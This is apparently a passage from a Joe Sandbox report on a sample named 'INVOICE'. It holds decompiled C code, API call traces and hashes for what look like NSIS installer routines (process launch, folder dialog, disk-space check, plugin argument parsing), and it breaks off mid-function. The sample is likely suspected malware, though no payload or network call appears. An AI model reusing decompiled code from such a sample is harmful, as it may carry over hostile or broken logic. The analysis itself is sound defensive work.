Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 88c3b14432b04161d4e03979afc52f71aef4d1a500ec292a4d39f98dda9e77ac
Instruction ID: 0db23a64e3c973129ccb7351ad80e5cfa0365495cc8a336c35755b545d17f2be
Opcode Fuzzy Hash: 88c3b14432b04161d4e03979afc52f71aef4d1a500ec292a4d39f98dda9e77ac
Instruction Fuzzy Hash: 74A00275508601DBDE115B51DF09D057B71A7547017414579A18551034C6314461EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401FA4(void* __ecx) {
				void* _t9;
				intOrPtr _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t17 = __ecx;
				_t19 = E00402DA6(_t15);
				E0040559F(0xffffffeb, _t7); // executed
				_t9 = E00405B20(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
						_t13 = E004069B5(_t17, _t20);
						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E00406484( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401fa4
0x00401faa
0x00401faf
0x00401fb5
0x00401fba
0x00401fbe
0x0040292e
0x00401fc4
0x00401fc7
0x00401fca
0x00401fd2
0x00401fe1
0x00401fe3
0x00401fe3
0x00401fd4
0x00401fd8
0x00401fd8
0x00401fd2
0x00401fea
0x00401feb
0x00401feb
0x00402c2d
0x00402c39

APIs

Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00425A20,772523A0,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00403418), ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll), ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Part of subcall function 00405B20: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,00000000,00000000), ref: 00405B49
Part of subcall function 00405B20: CloseHandle.KERNEL32(?), ref: 00405B56

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Part of subcall function 004069B5: WaitForSingleObject.KERNEL32(?,00000064), ref: 004069C6
Part of subcall function 004069B5: GetExitCodeProcess.KERNEL32(?,?), ref: 004069E8

Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: f0af5b3ae2630faf6cf52e0a27c7d75959b1b33dafccb85cc06ce083e5b7ca2f
Instruction ID: a015d294fcb9cc4e365613bb9e09bf6e78b00889af70ee47f703a6c6056ea9c8
Opcode Fuzzy Hash: f0af5b3ae2630faf6cf52e0a27c7d75959b1b33dafccb85cc06ce083e5b7ca2f
Instruction Fuzzy Hash: 2DF09072904112EBCB21BBA59A84EDE76E8DF01318F25403BE102B21D1D77C4E429A6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040498A Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040498A(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x42c240; // 0x67ce5c
				_v32 = _t82;
				_t2 = _t82 + 0x3c; // 0x0
				_t3 = _t82 + 0x38; // 0x0
				_t146 = ( *_t2 << 0xb) + 0x436000;
				_v12 =  *_t3;
				if(_a8 == 0x40b) {
					E00405B81(0x3fb, _t146);
					E004067C4(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405B81(0x3fb, _t146);
							if(E00405F14(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040653D(0x42b238, _t146);
							_t87 = E0040690A(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040653D(0x42b238, _t146);
								_t89 = E00405EB7(0x42b238);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x42b238,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x42b238) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x42b238,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405E58(0x42b238);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x42b238) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404E27(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x433edc; // 0x680020
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404E0F(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x42b228);
									} else {
										E00404D46(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x434fa4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004044BB(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x42d258 == _t158) {
									E004048E3();
								}
								 *0x42d258 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x42d268;
							_v60 = E00404CE0;
							_v56 = _t146;
							_v68 = E0040657A(_t146, 0x42d268, _t167, 0x42ba40, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405E0C(_t146);
								_t125 =  *((intOrPtr*)( *0x434f10 + 0x11c));
								if( *((intOrPtr*)( *0x434f10 + 0x11c)) != 0 && _t146 == 0x440800) {
									E0040657A(_t146, 0x42d268, _t167, 0, _t125);
									if(lstrcmpiW(0x432ea0, 0x42d268) != 0) {
										lstrcatW(_t146, 0x432ea0);
									}
								}
								 *0x42d258 =  *0x42d258 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405E83(_t146) != 0 && E00405EB7(_t146) == 0) {
						E00405E0C(_t146);
					}
					 *0x433ed8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404499(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404499(_t167);
					E004044CE(_t166);
					_t138 = E0040690A(8);
					if(_t138 == 0) {
						L53:
						return E00404500(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x0040498a
0x00404990
0x00404996
0x0040499a
0x0040499d
0x004049a3
0x004049b1
0x004049b4
0x004049bc
0x004049c2
0x004049c2
0x004049ce
0x004049d1
0x00404a3f
0x00404a46
0x00404b1d
0x00404b24
0x00404b33
0x00404b33
0x00404b37
0x00404b41
0x00404b4e
0x00404b50
0x00404b50
0x00404b5e
0x00404b65
0x00404b6c
0x00404b6f
0x00404bab
0x00404bad
0x00404bb3
0x00404bb8
0x00404bbc
0x00404bbe
0x00404bbe
0x00404bda
0x00000000
0x00404bdc
0x00404bdf
0x00404bed
0x00404bf3
0x00404bf4
0x00404bf7
0x00404bfa
0x00000000
0x00404bfa
0x00404b71
0x00404b73
0x00404b77
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b79
0x00404b79
0x00404b86
0x00404b8b
0x00000000
0x00000000
0x00404b8f
0x00404b91
0x00404b91
0x00404b9a
0x00404b9c
0x00404ba1
0x00404ba4
0x00404ba9
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ba9
0x00404c06
0x00404c10
0x00404c13
0x00404c16
0x00404c1d
0x00404c1d
0x00404c1f
0x00404c1f
0x00404c24
0x00404c26
0x00404c2e
0x00404c35
0x00404c37
0x00404c42
0x00404c42
0x00404c37
0x00404c49
0x00404c52
0x00404c5c
0x00404c64
0x00404c7f
0x00404c66
0x00404c6f
0x00404c6f
0x00404c64
0x00404c84
0x00404c89
0x00404c8e
0x00404c97
0x00404c97
0x00404ca0
0x00404ca2
0x00404ca2
0x00404cae
0x00404cb6
0x00404cc0
0x00404cc0
0x00404cc5
0x00000000
0x00404cc5
0x00404b6f
0x00404b26
0x00404b2d
0x00000000
0x00000000
0x00000000
0x00404b2d
0x00404a4c
0x00404a55
0x00404a6f
0x00404a74
0x00404a7e
0x00404a85
0x00404a91
0x00404a94
0x00404a97
0x00404a9e
0x00404aa6
0x00404aa9
0x00404aad
0x00404ab4
0x00404abc
0x00404b16
0x00404abe
0x00404abf
0x00404ac6
0x00404ad0
0x00404ad8
0x00404ae5
0x00404af9
0x00404afd
0x00404afd
0x00404af9
0x00404b02
0x00404b0f
0x00404b0f
0x00404abc
0x00000000
0x00404a74
0x00404a62
0x00000000
0x00000000
0x00404a68
0x00000000
0x004049d3
0x004049e0
0x004049e9
0x004049f6
0x004049f6
0x004049fd
0x00404a03
0x00404a0c
0x00404a0f
0x00404a12
0x00404a1a
0x00404a1d
0x00404a20
0x00404a26
0x00404a2d
0x00404a34
0x00404ccb
0x00404cdd
0x00404a3a
0x00404a3d
0x00000000
0x00404a3d
0x00404a34

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049D9
SetWindowTextW.USER32(00000000,-00436000), ref: 00404A03
SHBrowseForFolderW.SHELL32(?), ref: 00404AB4
CoTaskMemFree.OLE32(00000000), ref: 00404ABF
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,-00436000), ref: 00404AF1
lstrcatW.KERNEL32(-00436000,Call), ref: 00404AFD
SetDlgItemTextW.USER32(?,000003FB,-00436000), ref: 00404B0F

Part of subcall function 00405B81: GetDlgItemTextW.USER32(?,?,00000400,00404B46), ref: 00405B94

Part of subcall function 004067C4: CharNextW.USER32(?,*?|<>/":,00000000,00000000,77253420,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406827
Part of subcall function 004067C4: CharNextW.USER32(?,?,?,00000000,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406836
Part of subcall function 004067C4: CharNextW.USER32(?,00000000,77253420,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040683B
Part of subcall function 004067C4: CharPrevW.USER32(?,?,77253420,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040684E

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,-00436000,00000001,0042B238,-00436000,-00436000,000003FB,-00436000), ref: 00404BD2
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BED

Part of subcall function 00404D46: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-00436000), ref: 00404DE7
Part of subcall function 00404D46: wsprintfW.USER32 ref: 00404DF0
Part of subcall function 00404D46: SetDlgItemTextW.USER32(?,0042D268), ref: 00404E03

Strings

Call, xrefs: 00404AEB, 00404AF0, 00404AFB
A, xrefs: 00404AAD

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$Call
API String ID: 2624150263-209694386
Opcode ID: 259166ff03eae0857acd79a20f7b98923a8009c2c5ceed70d4eafac61dfc2b3f
Instruction ID: a81e8b8b6ddc8ea4f7a7a45a10ce21cc850824e22f7b82fba9ad49fead82d7d1
Opcode Fuzzy Hash: 259166ff03eae0857acd79a20f7b98923a8009c2c5ceed70d4eafac61dfc2b3f
Instruction Fuzzy Hash: CBA191B1900208ABDB119FA6DD45AAFB7B8EF84314F10803BF601B62D1D77C9A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 73E81BFF Relevance: 20.1, APIs: 13, Instructions: 597
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E73E81BFF() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				WCHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				WCHAR* _t208;
				signed int _t211;
				void* _t213;
				void* _t215;
				WCHAR* _t217;
				void* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t227;
				struct HINSTANCE__* _t229;
				signed short _t231;
				struct HINSTANCE__* _t234;
				struct HINSTANCE__* _t236;
				void* _t237;
				intOrPtr* _t238;
				void* _t249;
				signed char _t250;
				signed int _t251;
				struct HINSTANCE__* _t257;
				void* _t258;
				signed int _t260;
				signed int _t261;
				signed short* _t264;
				signed int _t269;
				signed int _t272;
				signed int _t274;
				void* _t277;
				void* _t281;
				struct HINSTANCE__* _t283;
				signed int _t286;
				void _t287;
				signed int _t288;
				signed int _t300;
				signed int _t301;
				signed short _t304;
				void* _t305;
				signed int _t309;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed short* _t321;
				WCHAR* _t322;
				WCHAR* _t324;
				WCHAR* _t325;
				struct HINSTANCE__* _t326;
				void* _t328;
				signed int _t331;
				void* _t332;

				_t283 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t332 = 0;
				_v52 = 0;
				_v44 = 0;
				_t208 = E73E812BB();
				_v24 = _t208;
				_v28 = _t208;
				_v48 = E73E812BB();
				_t321 = E73E812E3();
				_v56 = _t321;
				_v12 = _t321;
				while(1) {
					_t211 = _v32;
					_v60 = _t211;
					if(_t211 != _t283 && _t332 == _t283) {
						break;
					}
					_t286 =  *_t321 & 0x0000ffff;
					_t213 = _t286 - _t283;
					if(_t213 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t215 = _v60 - _t283;
						if(_t215 == 0) {
							__eflags = _t332 - _t283;
							 *_v28 = _t283;
							if(_t332 == _t283) {
								_t332 = GlobalAlloc(0x40, 0x1ca4);
								 *(_t332 + 0x1010) = _t283;
								 *(_t332 + 0x1014) = _t283;
							}
							_t287 = _v36;
							_t47 = _t332 + 8; // 0x8
							_t217 = _t47;
							_t48 = _t332 + 0x808; // 0x808
							_t322 = _t48;
							 *_t332 = _t287;
							_t288 = _t287 - _t283;
							__eflags = _t288;
							 *_t217 = _t283;
							 *_t322 = _t283;
							 *(_t332 + 0x1008) = _t283;
							 *(_t332 + 0x100c) = _t283;
							 *(_t332 + 4) = _t283;
							if(_t288 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t328 = 0;
								GlobalFree(_t332);
								_t332 = E73E813B1(_v24);
								__eflags = _t332 - _t283;
								if(_t332 == _t283) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t249 =  *(_t332 + 0x1ca0);
									__eflags = _t249 - _t283;
									if(_t249 == _t283) {
										break;
									}
									_t328 = _t332;
									_t332 = _t249;
									__eflags = _t332 - _t283;
									if(_t332 != _t283) {
										continue;
									}
									break;
								}
								__eflags = _t328 - _t283;
								if(_t328 != _t283) {
									 *(_t328 + 0x1ca0) = _t283;
								}
								_t250 =  *(_t332 + 0x1010);
								__eflags = _t250 & 0x00000008;
								if((_t250 & 0x00000008) == 0) {
									_t251 = _t250 | 0x00000002;
									__eflags = _t251;
									 *(_t332 + 0x1010) = _t251;
								} else {
									_t332 = E73E8162F(_t332);
									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t300 = _t288 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									L31:
									lstrcpyW(_t217, _v48);
									L32:
									lstrcpyW(_t322, _v24);
									goto L42;
								}
								_t301 = _t300 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									goto L32;
								}
								__eflags = _t301 != 1;
								if(_t301 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t215 == 1) {
								_t257 = _v16;
								if(_v40 == _t283) {
									_t257 = _t257 - 1;
								}
								 *(_t332 + 0x1014) = _t257;
							}
							L42:
							_v12 = _v12 + 2;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t321 = _v12;
								continue;
							}
							break;
						}
					}
					_t258 = _t213 - 0x23;
					if(_t258 == 0) {
						__eflags = _t321 - _v56;
						if(_t321 <= _v56) {
							L17:
							__eflags = _v44 - _t283;
							if(_v44 != _t283) {
								L43:
								_t260 = _v32 - _t283;
								__eflags = _t260;
								if(_t260 == 0) {
									_t261 = _t286;
									while(1) {
										__eflags = _t261 - 0x22;
										if(_t261 != 0x22) {
											break;
										}
										_t321 =  &(_t321[1]);
										__eflags = _v44 - _t283;
										_v12 = _t321;
										if(_v44 == _t283) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[0]);
											 *_v28 =  *_t321;
											L58:
											_t331 =  &(_t321[1]);
											__eflags = _t331;
											_v12 = _t331;
											goto L59;
										}
										_t261 =  *_t321 & 0x0000ffff;
										_v44 = _t283;
									}
									__eflags = _t261 - 0x2a;
									if(_t261 == 0x2a) {
										_v36 = 2;
										L57:
										_t321 = _v12;
										_v28 = _v24;
										_t283 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t261 - 0x2d;
									if(_t261 == 0x2d) {
										L151:
										_t304 =  *_t321;
										__eflags = _t304 - 0x2d;
										if(_t304 != 0x2d) {
											L154:
											_t264 =  &(_t321[1]);
											__eflags =  *_t264 - 0x3a;
											if( *_t264 != 0x3a) {
												goto L162;
											}
											__eflags = _t304 - 0x2d;
											if(_t304 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t264;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 = _t283;
											} else {
												 *_v28 = _t283;
												lstrcpyW(_v48, _v24);
											}
											goto L57;
										}
										_t264 =  &(_t321[1]);
										__eflags =  *_t264 - 0x3e;
										if( *_t264 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t261 - 0x3a;
									if(_t261 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t269 = _t260 - 1;
								__eflags = _t269;
								if(_t269 == 0) {
									L80:
									_t305 = _t286 + 0xffffffde;
									__eflags = _t305 - 0x55;
									if(_t305 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t305 + 0x73e823e8) & 0x000000ff) * 4 +  &M73E8235C))) {
										case 0:
											__ecx = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												L131:
												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
												if( *((intOrPtr*)(__edi + 2)) != __dx) {
													L136:
													 *__ecx =  *__ecx & 0x00000000;
													__eax = E73E812CC(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __ax;
												if(__ax == 0) {
													goto L136;
												}
												__eflags = __ax - __dx;
												if(__ax == __dx) {
													__edi = __edi + 1;
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__ax =  *__edi;
												 *__ecx =  *__edi;
												__ecx = __ecx + 1;
												__ecx = __ecx + 1;
												__edi = __edi + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__ax =  *__edi;
												__eflags = __ax - __dx;
												if(__ax != __dx) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 2;
											__ebx = E73E812BB();
											 &_v12 = E73E81B86( &_v12);
											__eax = E73E81510(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E73E81B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t271 =  *(_t332 + 0x1014);
											__eflags = _t271 - _v16;
											if(_t271 > _v16) {
												_v16 = _t271;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t271 - (_v36 == 3);
											if(_t271 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E73E81B86( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(4);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x73e8405c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x1018) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x1028) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E73E81B86( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
